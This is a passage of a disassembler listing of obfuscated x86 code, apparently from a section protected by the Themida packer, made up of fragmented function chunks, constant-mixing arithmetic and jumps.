		jmp	loc_59874D
; ---------------------------------------------------------------------------


loc_5A72B3:				; CODE XREF: Themida_:005A3F8Bj
		mov	esi, 562A42F4h
		add	ebx, 7F700FCEh
		jmp	loc_5A34B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A72C3:				; CODE XREF: sub_5A28BE-2F59j
		xor	ebx, 69F816B4h
		not	ebx
		dec	ebx
		shl	ebx, 8
		xor	ebx, 55AABA2Dh
		add	edx, ebx
		pop	ebx
		xor	edx, 634BED90h
		and	eax, edx
		jmp	loc_5A5A05
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A72E5:				; CODE XREF: sub_5AE6FD-C640j
		mov	[esp-0Eh+arg_A], dx
		push	ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A72F1:				; CODE XREF: sub_5AA500-95C1j
		mov	ah, cl
		pop	ecx
		add	ch, ah
		jmp	loc_59DCA2
; END OF FUNCTION CHUNK	FOR sub_5AA500

; =============== S U B	R O U T	I N E =======================================



sub_5A72FB	proc near		; CODE XREF: sub_5A8D43-D172j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005990FE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599748 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599F64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B9A8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059C2F0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059EE02 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2444 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A276E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6A7B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6D6D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A74EE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AAA46 SIZE 00000033 BYTES

		push	ebp
		jmp	loc_5A2444
sub_5A72FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A7301:				; CODE XREF: Themida_:0059AC13j
					; sub_59CA4A+95C0j
		add	ebp, 81D71B3Fh
		xor	eax, ebp
		jmp	loc_599E26
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A730E:				; CODE XREF: sub_5A1340+9A85j
		sub	bl, ah
		pop	eax
		sub	bl, 5Ch
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	sub_5ADDF8
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A731F:				; CODE XREF: sub_5A8C33-67B0j
		movzx	ax, byte ptr [eax]
		jmp	loc_5AE4ED
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A7328:				; CODE XREF: Themida_:0059D5C2j
		mov	ebx, 7D0C559Bh
		jmp	loc_599B20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A7332:				; CODE XREF: sub_597F0C+6304j
		jz	loc_5A673A
		xor	ebp, 973B5770h
		jmp	loc_598CB8
; END OF FUNCTION CHUNK	FOR sub_597F0C

; =============== S U B	R O U T	I N E =======================================



sub_5A7343	proc near		; CODE XREF: sub_59A932+1948j

var_1E		= dword	ptr -1Eh
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 00598185 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598236 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005989AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599312 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059957D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059968B SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005997B7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A38E SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059A3DF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B44C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C73F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C97E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CBC3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059CEBC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D580 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D5C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059DBE4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DC91 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E2B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E415 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EA21 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0821 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005A120E SIZE 00000040 BYTES
; FUNCTION CHUNK AT 005A19C6 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A2011 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A224B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A24A0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A259C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2A62 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A2E62 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4B80 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4F29 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A5606 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A572B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A64E5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A65E9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A6853 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A6B62 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6C08 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A7EE6 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005A830D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8361 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A8462 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A85BA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8B2B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8B43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A955E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9944 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A9B28 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA1B6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA43C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA863 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005AAA87 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB3C2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB473 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AB7C1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AB999 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005ABC44 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AC198 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AC2C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACE77 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AD037 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AD0DB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AD4D2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AD680 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD9AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE003 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AE1FC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AE8BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AF1FF SIZE 0000001C BYTES

		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_59DC91
sub_5A7343	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A734E:				; CODE XREF: Themida_:00598BD9j
		xor	ecx, 56103773h
		jl	loc_5AAD64
		xor	ecx, 2A2FBFB5h
		jmp	loc_5A79AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A7365:				; CODE XREF: sub_5A8C33+2BE7j
		xor	esi, 6DE42B99h
		sub	esi, 5FAC2CE9h
		add	esi, 1
		not	esi
		shl	esi, 3
		push	edx
		mov	edx, 699E4A9Dh
		add	edx, 0EB07BE1Eh
		xor	esi, edx
		pop	edx
		xor	ebx, esi
		pop	esi
		xor	ecx, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5A2E9D
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_5A7399:				; CODE XREF: sub_59EE24+7B0Ej
		dec	ebp
		jg	loc_59D58E
		jmp	loc_5A611E
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	dl, 5Ch
		pop	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5A73AF	proc near		; CODE XREF: sub_5AC95F-52Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059CC69 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0D8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4ED5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AA8F5 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 16A2038h
		add	ebp, 0FE95DFC8h
		push	edx
		push	ebp
		pop	edx
		mov	eax, edx
		pop	edx
		jmp	loc_5A0D8B
sub_5A73AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1199


loc_5A73C6:				; CODE XREF: sub_5A1199+425Fj
		mov	[esp+4+var_4], ebp
		push	edx
		jmp	sub_5A02F5
; END OF FUNCTION CHUNK	FOR sub_5A1199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A73CF:				; CODE XREF: sub_5A91EC+2FA7j
		push	4D9A203Bh
		pop	edi
		shr	edi, 4
		js	loc_59EDEB
		push	edx
		push	edi
		jmp	loc_5AEBEA
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5A73E5:				; CODE XREF: sub_5A879C-5A0Aj
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		xor	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	ax, word ptr [esp-8+arg_4]
		jmp	sub_59B3CE
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A73FA:				; CODE XREF: sub_5A438E+717Ej
		mov	[esp+14h+var_14], edi
		mov	edi, 5B6405CFh
		shr	edi, 6
		shl	edi, 2
		jmp	loc_59A40E
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A740D:				; CODE XREF: sub_5AB88E-B172j
		push	2928h
		jmp	loc_59EEC5
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A7417:				; CODE XREF: Themida_:005A54D8j
		and	ecx, 3C463A5Ch
		sub	esp, 4
		mov	[esp], ecx
		xchg	eax, [esp]
		jmp	loc_5A1FEA
; ---------------------------------------------------------------------------


loc_5A742B:				; CODE XREF: Themida_:0059A852j
		xor	eax, 6C6EC0E0h
		sub	[esp+4], eax
		jmp	loc_5A7B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A7439:				; CODE XREF: sub_5A8C33-F64j
		pop	ebp
		jmp	loc_5A5932
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A743F:				; CODE XREF: Themida_:0059F37Ej
		add	edx, ecx
		jmp	loc_59EA3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEA4A


loc_5A7446:				; CODE XREF: sub_5AEA4A+6j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		jmp	sub_59CFBF
; END OF FUNCTION CHUNK	FOR sub_5AEA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A7469:				; CODE XREF: sub_5A1B2A+35E3j
		xor	al, 5
		jmp	loc_59A7D9
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_5ADE88
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A8C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A7482:				; CODE XREF: sub_5AA500-11A87j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		add	esp, 4
		jmp	loc_5A1315
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------


loc_5A749A:				; CODE XREF: Themida_:005A7948j
		dec	edi
		add	edi, 0CE4E39B1h
		push	229Bh
		mov	[esp], ebp
		push	edi
		mov	edi, 0E8E2F3Bh
		jmp	loc_599825
; ---------------------------------------------------------------------------


loc_5A74B4:				; CODE XREF: Themida_:005A18F7j
		mov	eax, 6D54734Bh
		shl	eax, 5
		jnp	loc_5A280D
		jmp	loc_5A8D39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A74C7:				; CODE XREF: sub_5A8C33-10621j
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		pop	esp
		or	eax, eax
		jz	loc_5AE292
		push	dword ptr [edi+28h]
		push	111Bh
		mov	[esp+10h+var_10], edi
		mov	edi, 1E6625F6h
		jmp	loc_59AA6B
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5A74EE:				; CODE XREF: sub_5A72FB+208j
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		pop	esp
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_5A276E
; ---------------------------------------------------------------------------


loc_5A7500:				; CODE XREF: sub_5A72FB-D38Fj
		xor	esi, [esp+8+var_8]
		jmp	loc_5A74EE
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------


loc_5A7508:				; CODE XREF: Themida_:0059E975j
		mov	[esp], ecx
		push	eax
		mov	eax, 795DA7h
		shl	eax, 5
		xor	eax, 1AE08861h
		mov	ecx, eax
		jmp	loc_5A23DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A7520:				; CODE XREF: sub_5A728F+ED7j
		pop	ecx
		mov	ch, dh
		jmp	loc_5A6240
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A7528:				; CODE XREF: sub_5A28BE-3B5Fj
		add	esi, 4
		jmp	loc_5A5942
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------


loc_5A7530:				; CODE XREF: Themida_:0059A986j
		xor	ebx, esi
		jmp	loc_5AAE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A7537:				; CODE XREF: sub_5A667A-9608j
					; sub_5A41D6-6F3Dj
		push	471Ah
		mov	[esp+0Eh+var_10+2], esi
		push	esp
		pop	esi
		jmp	loc_599912
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A7546:				; CODE XREF: sub_59ACEC+1C1Bj
		add	ecx, ebp
		jmp	loc_5A9AA0
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A99FA


loc_5A754D:				; CODE XREF: sub_5A99FA-10AA2j
		pop	esp
		mov	[esp-4+arg_0], ecx
		push	edx
		push	5D3D6141h
		mov	edx, [esp+4+var_4]
		jmp	loc_5A4E3F
; END OF FUNCTION CHUNK	FOR sub_5A99FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5A755F:				; CODE XREF: sub_5A6DA1+510Ej
		push	ecx
		push	4514h
		jmp	loc_59953B
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59EED7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5A7578:				; CODE XREF: sub_5AB1B9-A727j
		add	esp, 4
		push	esi
		jmp	loc_5A4FC1
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A7581:				; CODE XREF: sub_59ACCE+FA56j
		pop	esp
		jmp	loc_59E9FC
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A7587:				; CODE XREF: sub_59C53B:loc_59F5ECj
		sub	ecx, 1B2D36C1h
		js	loc_5A0F2C
		not	ecx
		xor	ecx, 28725663h
		add	bh, 0DCh
; END OF FUNCTION CHUNK	FOR sub_59C53B
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A759E:				; CODE XREF: sub_59D99C+A9A8j
		sub	edx, 249E1D20h
		jmp	loc_5A0275
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A75A9:				; CODE XREF: Themida_:00597E67j
		xor	ebp, 3FC16FA1h
		jl	loc_59C022
		jmp	loc_5A3ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A75BA:				; CODE XREF: sub_59ACCE+1DC9j
		push	4
		mov	edx, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 78DB72A0h
		add	edx, 144264E8h
		xor	edx, 98228DD8h
		add	ebp, edx
		pop	edx
		sub	ebp, edx
		push	15FDh
		mov	[esp+0], eax
		mov	eax, esp
		jmp	loc_5A2D14
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A75EE:				; CODE XREF: sub_5AE6FD-E12Cj
		sub	ebp, eax
		jmp	loc_5A5531
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5A75F5:				; CODE XREF: Themida_:005A17CCj
		shr	ebp, 2
		jz	loc_5A4D7B
		jmp	loc_5A5F23
; ---------------------------------------------------------------------------


loc_5A7603:				; CODE XREF: Themida_:loc_597C5Bj
		dec	ecx
		jg	loc_5A674A
		shl	ecx, 7
		xor	ecx, 33CC4D02h
		mov	cl, al
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A7615:				; CODE XREF: sub_5AC95F-FFEFj
		pop	edi
		push	5AD5h
		mov	[esp+0Ch+var_C], edi
		xor	[esp+0Ch+var_C], 0A42047Eh
		jmp	loc_5A0E4C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A762A:				; CODE XREF: sub_59C53B-161Cj
		add	ebp, edx
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		push	dword ptr [edi+24h]
		jmp	sub_5AEE18
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB52


loc_5A763D:				; CODE XREF: sub_59FB52+26j
		pop	esi
		pop	eax
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59FB52
; ---------------------------------------------------------------------------


loc_5A7648:				; CODE XREF: Themida_:0059D815j
		mov	esi, [esp]
		jmp	loc_59A2C1
; ---------------------------------------------------------------------------


loc_5A7650:				; CODE XREF: Themida_:005A3DE6j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 66144143h
		add	eax, 51183A74h
		sub	eax, esi
		sub	eax, 51183A74h
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_5A5EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A769D:				; CODE XREF: sub_5A141E+AADj
		push	esi
		mov	ebx, [esp+0]
		add	esp, 4
		pop	esi
		dec	esi
		jmp	loc_5AD414
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_598ED7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A76C2:				; CODE XREF: sub_59F20F+2EB8j
		sub	ecx, ebx
		pop	ebx
		xor	ecx, [esp+4+var_4]
		jmp	loc_599231
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_5A76CD:				; CODE XREF: Themida_:00597D0Ej
		pop	edx
		push	7D3Ch
		mov	[esp], esi
		push	ebp
		push	ebx
		push	5C14h
		mov	[esp], edx
		mov	edx, 2
		mov	ebx, edx
		pop	edx
		mov	ebp, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_59BD09
; ---------------------------------------------------------------------------


loc_5A76F6:				; CODE XREF: Themida_:005A4CE9j
		mov	ecx, 5249659Dh
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_5A9650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A770A:				; CODE XREF: sub_59D99C+BB09j
		mov	di, 3F95h
		push	3CDEh
		mov	[esp+16h+var_18+2], ebp
		mov	bp, 7A22h
		jmp	loc_59B4C4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A771F:				; CODE XREF: Themida_:00598B56j
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A7724:				; CODE XREF: sub_5A8C33-B0FAj
		add	eax, 4
		add	eax, 4
		jmp	loc_5AD162
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A7733:				; CODE XREF: sub_59FDC7-32BFj
		jnz	loc_59E703
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4


loc_5A7746:				; CODE XREF: sub_5AC95F-D574j
					; sub_59F20F+5214j
		add	ebx, 76410E0Fh
		xor	ebx, 2BD561D1h
		push	ebx
		add	[esp+10h+var_10], 4FFE11E7h
		pop	ebp
		jmp	loc_5A1C41
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A7760:				; CODE XREF: sub_5A17D6+22j
		push	75C2h
		mov	[esp+8+var_8], ebp
		push	5BBA6C81h
		push	[esp+0Ch+var_C]
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		sub	dword ptr [esp+8], 2F20379Fh
		sub	[esp+8], ebp
		jmp	loc_5A6233
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CC75


loc_5A7790:				; CODE XREF: sub_59CC75+ADAEj
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		bswap	eax
		push	7C73h
		mov	[esp+0], eax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59CC75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A77AB:				; CODE XREF: sub_5A8F00-D237j
		add	esp, 4
		push	ebp
		mov	ebp, 1E9C4A8Bh
		push	500Ah
		mov	[esp+0Ch+var_C], edi
		push	esi
		push	10D942E4h
		pop	esi
		dec	esi
		shr	esi, 5
		jnp	loc_5A02C5
		not	esi
		xor	esi, 58B1C673h
		mov	edi, esi
		pop	esi
		jmp	loc_5AA749
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5A77E0:				; CODE XREF: sub_5A02EA-504Ej
		and	edi, 152C6628h
		add	edi, 248630EEh
		mov	ecx, edi
		mov	edi, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_597F63
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------


loc_5A7802:				; CODE XREF: Themida_:005AA198j
		shl	edi, 8
		jmp	loc_5AA04D
; ---------------------------------------------------------------------------


loc_5A780A:				; CODE XREF: Themida_:005A2CD4j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5AEC41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A7814:				; CODE XREF: sub_5ACD64-5B0Ej
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		push	5A54h
		mov	[esp-4+arg_0], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 21E06A24h
		jmp	loc_5A8C66
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A7835:				; CODE XREF: Themida_:005AEA66j
		add	ebx, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 459C18FBh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 3272AECh
		pop	ecx
		push	744h
		jmp	loc_59B93A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A785B:				; CODE XREF: sub_59DFDD+F41j
		mov	esp, [esp+4+var_4]
		or	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------


loc_5A7868:				; CODE XREF: Themida_:005A9DDFj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A6AC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A7871:				; CODE XREF: sub_5AB98B-2203j
		mov	[esp-6+arg_0+2], eax
		mov	ah, 0CCh
		add	cl, ah
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		push	edx
		mov	dh, 21h
		and	dh, 0E4h
		not	dh
		xor	dh, 63h
		sub	al, dh
		pop	edx
		jmp	loc_5A4D89
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A7891:				; CODE XREF: sub_59B48F+8341j
		xor	esi, 0DC16BAEh
		sub	ecx, esi
		pop	esi
		jmp	loc_5A207E
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A789F:				; CODE XREF: sub_5AB88E-10799j
		mov	[esp+0], edx
		push	49D8h
		push	esp
		jmp	loc_5A2128
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A78AD:				; CODE XREF: Themida_:005ADAB2j
		sub	ebp, 8F26300h
		jmp	loc_5A2285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5A78B8:				; CODE XREF: sub_59C342+40C4j
		push	edx
		mov	edx, esi
		mov	ebp, edx
		pop	edx
		jmp	loc_5AC9CF
